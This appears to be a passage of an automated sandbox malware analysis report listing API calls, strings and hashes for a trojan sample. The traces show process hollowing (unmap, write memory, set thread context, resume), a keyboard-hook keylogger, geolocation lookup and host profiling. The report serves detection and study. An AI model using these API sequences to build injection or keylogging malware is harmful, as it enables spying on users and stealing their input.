Opcode Fuzzy Hash: a70ea0b59a2ae1b815e0bd9ab958c9e9749b377321f7a8ebfb09bb20146cbade
Instruction Fuzzy Hash: AE113032614F81CAEF20DF78E85826973A4F749758F441A31EA6D47768DF3DE1A48350

Uniqueness

Uniqueness Score: -1.00%

Function 613C1D20 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 210
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,?,?,613C4014,?,?,?,?,613C12F5), ref: 613C1ED0
VirtualProtect.KERNEL32(?,?,?,?,?,?,613C4014,?,?,?,?,613C12F5), ref: 613C1EF2

Strings

Unknown pseudo relocation bit size %d., xrefs: 613C1FAB
VirtualQuery failed for %d bytes at address %p, xrefs: 613C1CF1, 613C1FF5
Unknown pseudo relocation protocol version %d., xrefs: 613C200C

Memory Dump Source

Source File: 00000010.00000002.1294192647.00000000613C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 613C0000, based on PE: true

Associated: 00000010.00000002.1294169307.00000000613C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294213357.00000000613C5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294231544.00000000613C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294253469.00000000613CA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294272098.00000000613CE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_613c0000_2506803.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$ VirtualQuery failed for %d bytes at address %p
API String ID: 1027372294-974437099
Opcode ID: 0506fc0812a6532e595ec5eb3817d96166fe1220901b1217ccaca6be0b2030cb
Instruction ID: 8b19c1d28792cb56a2489f17691e3257573fe42bf3fac7028ea06e892639a53c
Opcode Fuzzy Hash: 0506fc0812a6532e595ec5eb3817d96166fe1220901b1217ccaca6be0b2030cb
Instruction Fuzzy Hash: 2371DB76B11A25C5EB01CB66E98078A7372B744FECF88C216CD1E17758DB3AC905E782

Uniqueness

Uniqueness Score: -1.00%

Function 613C20E0 Relevance: 7.6, APIs: 5, Instructions: 57
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 613C2125
GetCurrentProcessId.KERNEL32 ref: 613C2130
GetCurrentThreadId.KERNEL32 ref: 613C2138
GetTickCount.KERNEL32 ref: 613C2140
QueryPerformanceCounter.KERNEL32 ref: 613C214D

Memory Dump Source

Source File: 00000010.00000002.1294192647.00000000613C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 613C0000, based on PE: true

Associated: 00000010.00000002.1294169307.00000000613C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294213357.00000000613C5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294231544.00000000613C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294253469.00000000613CA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294272098.00000000613CE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_613c0000_2506803.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 74dd19f4e94a0d0c7d2f512cedf46a5700d2f37f9f80a699a897ab5269ff7fc9
Instruction ID: f1121d54ed6ad7c6b44c785f3bc5d17666f8aeef939fc9792c255a14141ab0b9
Opcode Fuzzy Hash: 74dd19f4e94a0d0c7d2f512cedf46a5700d2f37f9f80a699a897ab5269ff7fc9
Instruction Fuzzy Hash: BD11BF36752A7086F7105B25F904385B262B788BE0F0C5231DE5E53BA4EA3EC9968340

Uniqueness

Uniqueness Score: -1.00%

Function 613C1BB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 613C1C66

Strings

Address %p has no image-section, xrefs: 613C1BB7, 613C1D02
VirtualQuery failed for %d bytes at address %p, xrefs: 613C1CF1

Memory Dump Source

Source File: 00000010.00000002.1294192647.00000000613C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 613C0000, based on PE: true

Associated: 00000010.00000002.1294169307.00000000613C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294213357.00000000613C5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294231544.00000000613C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294253469.00000000613CA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294272098.00000000613CE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_613c0000_2506803.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 1804819252-157664173
Opcode ID: 4b3442590c100849448ba3e56ea47b0cf678686d7b5a80ce58739232cc369298
Instruction ID: bbd5546ac0f113b28ab3ae70c7fcc4ca9aee0ecfaac13d73c3aea7a86ca27076
Opcode Fuzzy Hash: 4b3442590c100849448ba3e56ea47b0cf678686d7b5a80ce58739232cc369298
Instruction Fuzzy Hash: 71312477B01A64D5EA019F16EC04B967B65FB48FE8F48C121EE0E17320EB39DA42D740

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wkrriuhD.pifPID: 7896, Parent PID: 6428COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	99.4%
Signature Coverage:	5.1%
Total number of Nodes:	1887
Total number of Limit Nodes:	57

Executed Functions

Function 123480EF Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 289
nativelibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 12348136
GetProcAddress.KERNEL32(00000000), ref: 12348139
GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 1234814A
GetProcAddress.KERNEL32(00000000), ref: 1234814D
GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 1234815E
GetProcAddress.KERNEL32(00000000), ref: 12348161
GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 12348172
GetProcAddress.KERNEL32(00000000), ref: 12348175
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 12348217
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 1234822F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 12348245
ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 1234826B
NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000), ref: 12348293
NtUnmapViewOfSection.NTDLL(?,?), ref: 123482BB
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 123482DB
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 123482ED
NtClose.NTDLL(?), ref: 123482F7
TerminateProcess.KERNEL32(?,00000000), ref: 12348301
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 12348341
NtMapViewOfSection.NTDLL(?,00000000), ref: 1234834C
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 1234840B
Wow64SetThreadContext.KERNEL32(?,00000000), ref: 12348428
ResumeThread.KERNEL32(?), ref: 12348435
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 1234844C
GetCurrentProcess.KERNEL32(?), ref: 12348457
NtUnmapViewOfSection.NTDLL(00000000), ref: 1234845E
NtClose.NTDLL(?), ref: 12348468
TerminateProcess.KERNEL32(?,00000000), ref: 12348472
GetLastError.KERNEL32 ref: 1234847A

Strings

ZwMapViewOfSection, xrefs: 1234813B
ZwUnmapViewOfSection, xrefs: 1234814F
ntdll, xrefs: 12348121, 12348140, 12348154, 12348168
ZwClose, xrefs: 12348163
ZwCreateSection, xrefs: 1234811C

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Process$Section$AddressHandleModuleProcView$ThreadVirtual$CloseContextCreateCurrentFreeMemoryTerminateUnmapWow64$AllocErrorLastReadResumeWrite
String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
API String ID: 3150337530-3035715614
Opcode ID: 70c691841189a6a8711d2b041b03e6602f3ac1123b14f4695d51fe82881c409f
Instruction ID: f70df4c0ddae1e46c75ab55c3f3d572c43315ec123e4e05a6a9bcd125f116e4f
Opcode Fuzzy Hash: 70c691841189a6a8711d2b041b03e6602f3ac1123b14f4695d51fe82881c409f
Instruction Fuzzy Hash: 3BA191B1644355AFDB108F64CC84BAB7BECFF88708F504A2AF659D6251DB70E804CB66

Uniqueness

Uniqueness Score: -1.00%

Function 1233A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 1233A2D3
SetWindowsHookExA.USER32(0000000D,1233A2A4,00000000), ref: 1233A2E1
GetLastError.KERNEL32 ref: 1233A2ED

Part of subcall function 1234B4EF: GetLocalTime.KERNEL32(00000000), ref: 1234B509

KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 1233A33B
TranslateMessage.USER32(?), ref: 1233A34A
DispatchMessageA.USER32(?), ref: 1233A355

Strings

Keylogger initialization failure: error , xrefs: 1233A301

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Message$CallbackDispatchDispatcherErrorHandleHookLastLocalModuleTimeTranslateUserWindows
String ID: Keylogger initialization failure: error
API String ID: 941179788-952744263
Opcode ID: 42673667ab289fe8aa34a6067c4671e754e0c1b8a6d355f5e7485b631b17e109
Instruction ID: 62324c7a248caf9075aa8c7b37455a4e255da717ca52e4ac910d228308b2c082
Opcode Fuzzy Hash: 42673667ab289fe8aa34a6067c4671e754e0c1b8a6d355f5e7485b631b17e109
Instruction Fuzzy Hash: AA11E373A50245ABD7126B75CC489AB77ECEBD5322B104B2DF88AC2280FA30D601C762

Uniqueness

Uniqueness Score: -1.00%

Function 1233A3E0 Relevance: 12.1, APIs: 8, Instructions: 112
keyboardthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32(?,?,123A50F0), ref: 1233A416
GetWindowThreadProcessId.USER32(00000000,?), ref: 1233A422
GetKeyboardLayout.USER32(00000000), ref: 1233A429
GetKeyState.USER32(00000010), ref: 1233A433
GetKeyboardState.USER32(?,?,123A50F0), ref: 1233A43E
ToUnicodeEx.USER32(123A5144,0000005B,?,?,00000010,00000000,00000000), ref: 1233A461
ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 1233A4C1
ToUnicodeEx.USER32(123A5144,?,?,?,00000010,00000000,00000000), ref: 1233A4FA

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
String ID:
API String ID: 1888522110-0
Opcode ID: e39b44ca35054e5905fddd8133582bae432bdc59d814fe86838e2ec28f0f463e
Instruction ID: f620f10849ecb6435459c2079fa96b82b69b943257eb30a6b0c20f3f2f4bbf13
Opcode Fuzzy Hash: e39b44ca35054e5905fddd8133582bae432bdc59d814fe86838e2ec28f0f463e
Instruction Fuzzy Hash: B3315E72544318BFD711DA90CC84F9BBBECEB88754F00092AF645D7190E6B1E649DB92

Uniqueness

Uniqueness Score: -1.00%

Function 146410F1 Relevance: 12.1, APIs: 8, Instructions: 88
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 14641137
lstrcatW.KERNEL32(?,?), ref: 14641151
lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1464115C
lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1464116D
lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1464117C
FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 14641193
FindNextFileW.KERNELBASE(00000000,00000010), ref: 146411D0
FindClose.KERNEL32(00000000), ref: 146411DB

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: lstrlen$Find$File$CloseFirstNextlstrcat
String ID:
API String ID: 1083526818-0
Opcode ID: 0f3915156e5c8da750f0eaf9ca25acb0406a55f12c5bd48b326bc925b09973f3
Instruction ID: d3ced3889d8f80a0f9a3a965f7a69438c01abbd9726e60c4c6b87bee7a8295bc
Opcode Fuzzy Hash: 0f3915156e5c8da750f0eaf9ca25acb0406a55f12c5bd48b326bc925b09973f3
Instruction Fuzzy Hash: B421E371A04318ABDB21EF64AC4CFCB7B9CEF84758F18092AF958D3091EB30D2058796

Uniqueness

Uniqueness Score: -1.00%

Function 1234B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 1234B3A7
InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 1234B3BD
InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 1234B3D6
InternetCloseHandle.WININET(00000000), ref: 1234B41C
InternetCloseHandle.WININET(00000000), ref: 1234B41F

Strings

http://geoplugin.net/json.gp, xrefs: 1234B3B7

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead
String ID: http://geoplugin.net/json.gp
API String ID: 3121278467-91888290
Opcode ID: 8c05bd6b167cd80b4ebe6e3e6228a6f3f144c8843285de6183d63f9772c423d8
Instruction ID: b44bd17cb11bafc46bea005ffd889cdf6e33e6bdf8b85d93f32575da06804dea
Opcode Fuzzy Hash: 8c05bd6b167cd80b4ebe6e3e6228a6f3f144c8843285de6183d63f9772c423d8
Instruction Fuzzy Hash: FE1198766063616BD228DE258C88DBB7FEDEFC5661F50092DF80597240DB64E908C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 12341CFE Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1234179C: SetLastError.KERNEL32(0000000D,12341D1C,00000000,?,?,?,?,?,?,?,?,?,?,?,?,12341CFA), ref: 123417A2

SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,12341CFA), ref: 12341D37
GetNativeSystemInfo.KERNEL32(?,1233D2A2,00000000,?,?,?,?,?,?,?,?,?,?,?,?,12341CFA), ref: 12341DA5
SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 12341DC9

Part of subcall function 12341CA3: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,12341DE7,?,00000000,00003000,00000040,00000000,?,?), ref: 12341CB3

GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 12341E10
HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 12341E17
SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 12341F2A

Part of subcall function 12342077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,12341F37,?,?,?,?,?), ref: 123420E7
Part of subcall function 12342077: HeapFree.KERNEL32(00000000,?,?,?,?,?), ref: 123420EE

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
String ID:
API String ID: 3950776272-0
Opcode ID: 17f0e4f1c5c5c3fa42b1069a8ae9a11d7757fc58f86660e3743e21b635c0a396
Instruction ID: 106777d9e337e1c865ded9e1d6eb295415e0017d579186a50d979255288ea5de
Opcode Fuzzy Hash: 17f0e4f1c5c5c3fa42b1069a8ae9a11d7757fc58f86660e3743e21b635c0a396
Instruction Fuzzy Hash: 9061F6B6700A959BC7509F25CD80B7A7BE9BF84740F604399E9898B241DFB4E841CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 1233F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 12343549: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 12343569
Part of subcall function 12343549: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,123A52F0), ref: 12343587
Part of subcall function 12343549: RegCloseKey.KERNEL32(?), ref: 12343592

Sleep.KERNEL32(00000BB8), ref: 1233F85B
ExitProcess.KERNEL32 ref: 1233F8CA

Strings

4.9.4 Pro, xrefs: 1233F836, 1233F8A3
pth_unenc, xrefs: 1233F7BD, 1233F804, 1233F871
override, xrefs: 1233F7CC

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseExitOpenProcessQuerySleepValue
String ID: 4.9.4 Pro$override$pth_unenc
API String ID: 2281282204-930821335
Opcode ID: 662fb9d4a4a93c331a5637c007a0784a2ce548d1b1fe295fcfbb1eca9f816946
Instruction ID: 61101cb2eb241014a1956f981e69624d1ad096479c9a39bd779258e0678048ee
Opcode Fuzzy Hash: 662fb9d4a4a93c331a5637c007a0784a2ce548d1b1fe295fcfbb1eca9f816946
Instruction Fuzzy Hash: BD214D7BF5034057D9AE77754C55ABE3AA95BC2711FA00218F0468B2C5EE24AF0583E3

Uniqueness

Uniqueness Score: -1.00%

Function 0059113F Relevance: 4.9, APIs: 3, Instructions: 363memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,?,?,?,?,00000000,?,?,?,00000000), ref: 005912C5
VirtualAlloc.KERNEL32(00000000,?,00001000,00000040,?,?,00000000,?,?,?,00000000,?,?,?,00007463), ref: 005912D5
LoadLibraryA.KERNEL32(?,?,?,00000000,?,?,?,00000000,?,?,?,00007463,?,?,?,00000000), ref: 0059141C

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: AllocVirtual$LibraryLoad
String ID:
API String ID: 2441068224-0
Opcode ID: fa4691a24655f1888525f96d2d85cbe1021a4a7afa0b3384a6494944f45a67a8
Instruction ID: 6cc02f01f01422443cc0a465ff73a5553caaa436fc15274bb6ef38e1e28243a1
Opcode Fuzzy Hash: fa4691a24655f1888525f96d2d85cbe1021a4a7afa0b3384a6494944f45a67a8
Instruction Fuzzy Hash: 59D18E31A00626AFDF24CF69CC84BAABBB5FF84710F258559E809AB655D730ED01CF94

Uniqueness

Uniqueness Score: -1.00%

Function 1234B60D Relevance: 3.0, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetComputerNameExW.KERNEL32(00000001,?,0000002B,123A50E4), ref: 1234B62A
GetUserNameW.ADVAPI32(?,1233F223), ref: 1234B642

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Name$ComputerUser
String ID:
API String ID: 4229901323-0
Opcode ID: 86509eb738ce0a1eb1136abff9244ab49420250181bb12c80c33164986ea8d78
Instruction ID: 6173ee16fde0b6994bcfe581485862e024c8c4b1923c2b2a6a10c4aedaed7b54
Opcode Fuzzy Hash: 86509eb738ce0a1eb1136abff9244ab49420250181bb12c80c33164986ea8d78
Instruction Fuzzy Hash: 5F01FB7690021CABDB55DBD4DC44AEEB7BCEF48306F100266E506F6250EE746B89CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 1233F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,123454FC,123A4EE0,123A5A00,123A4EE0,00000000,123A4EE0,00000000,123A4EE0,4.9.4 Pro), ref: 1233F8E5

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 07ccde7cb2427e67345b7c23eff0edbfd1de86d574345f50f4f93769b8bda7e1
Instruction ID: 9f861203b342084a1ccb27f15bbce9e5630072aae20a14a9829f7a10d9fd651c
Opcode Fuzzy Hash: 07ccde7cb2427e67345b7c23eff0edbfd1de86d574345f50f4f93769b8bda7e1
Instruction Fuzzy Hash: F9D05B7174411C77D61096958C0AEAA779CD701752F000195FA09D72C0D9E16E0487D1

Uniqueness

Uniqueness Score: -1.00%

Function 1234CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Psapi,GetProcessImageFileNameW,?,?,?,?,1233E9E1), ref: 1234CB65
GetProcAddress.KERNEL32(00000000), ref: 1234CB6E
GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,1233E9E1), ref: 1234CB85
GetProcAddress.KERNEL32(00000000), ref: 1234CB88
LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,1233E9E1), ref: 1234CB9A
GetProcAddress.KERNEL32(00000000), ref: 1234CB9D
LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,1233E9E1), ref: 1234CBAE
GetProcAddress.KERNEL32(00000000), ref: 1234CBB1
LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,1233E9E1), ref: 1234CBC3
GetProcAddress.KERNEL32(00000000), ref: 1234CBC6
LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,1233E9E1), ref: 1234CBD2
GetProcAddress.KERNEL32(00000000), ref: 1234CBD5
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,1233E9E1), ref: 1234CBE6
GetProcAddress.KERNEL32(00000000), ref: 1234CBE9
GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,1233E9E1), ref: 1234CBFA
GetProcAddress.KERNEL32(00000000), ref: 1234CBFD
LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,1233E9E1), ref: 1234CC0E
GetProcAddress.KERNEL32(00000000), ref: 1234CC11
GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,1233E9E1), ref: 1234CC22
GetProcAddress.KERNEL32(00000000), ref: 1234CC25
GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,1233E9E1), ref: 1234CC36
GetProcAddress.KERNEL32(00000000), ref: 1234CC39
GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,1233E9E1), ref: 1234CC4A
GetProcAddress.KERNEL32(00000000), ref: 1234CC4D
GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,1233E9E1), ref: 1234CC5E
GetProcAddress.KERNEL32(00000000), ref: 1234CC61
GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,1233E9E1), ref: 1234CC72
GetProcAddress.KERNEL32(00000000), ref: 1234CC75
LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,1233E9E1), ref: 1234CC83
GetProcAddress.KERNEL32(00000000), ref: 1234CC86
LoadLibraryA.KERNEL32(kernel32,GetConsoleWindow,?,?,?,?,1233E9E1), ref: 1234CC97
GetProcAddress.KERNEL32(00000000), ref: 1234CC9A
GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,1233E9E1), ref: 1234CCA7
GetProcAddress.KERNEL32(00000000), ref: 1234CCAA
GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,1233E9E1), ref: 1234CCB7
GetProcAddress.KERNEL32(00000000), ref: 1234CCBA
LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedTcpTable,?,?,?,?,1233E9E1), ref: 1234CCCC
GetProcAddress.KERNEL32(00000000), ref: 1234CCCF
LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedUdpTable,?,?,?,?,1233E9E1), ref: 1234CCDC
GetProcAddress.KERNEL32(00000000), ref: 1234CCDF
GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,1233E9E1), ref: 1234CCF0
GetProcAddress.KERNEL32(00000000), ref: 1234CCF3
GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,1233E9E1), ref: 1234CD04
GetProcAddress.KERNEL32(00000000), ref: 1234CD07
LoadLibraryA.KERNEL32(Rstrtmgr,RmStartSession,?,?,?,?,1233E9E1), ref: 1234CD19
GetProcAddress.KERNEL32(00000000), ref: 1234CD1C
LoadLibraryA.KERNEL32(Rstrtmgr,RmRegisterResources,?,?,?,?,1233E9E1), ref: 1234CD29
GetProcAddress.KERNEL32(00000000), ref: 1234CD2C
LoadLibraryA.KERNEL32(Rstrtmgr,RmGetList,?,?,?,?,1233E9E1), ref: 1234CD39
GetProcAddress.KERNEL32(00000000), ref: 1234CD3C
LoadLibraryA.KERNEL32(Rstrtmgr,RmEndSession,?,?,?,?,1233E9E1), ref: 1234CD49
GetProcAddress.KERNEL32(00000000), ref: 1234CD4C

Strings

GetComputerNameExW, xrefs: 1234CBEB
ntdll, xrefs: 1234CBBD, 1234CBC2, 1234CCA1, 1234CCB1, 1234CCE6
Kernel32, xrefs: 1234CB80
GetConsoleWindow, xrefs: 1234CC88
NtUnmapViewOfSection, xrefs: 1234CBB8
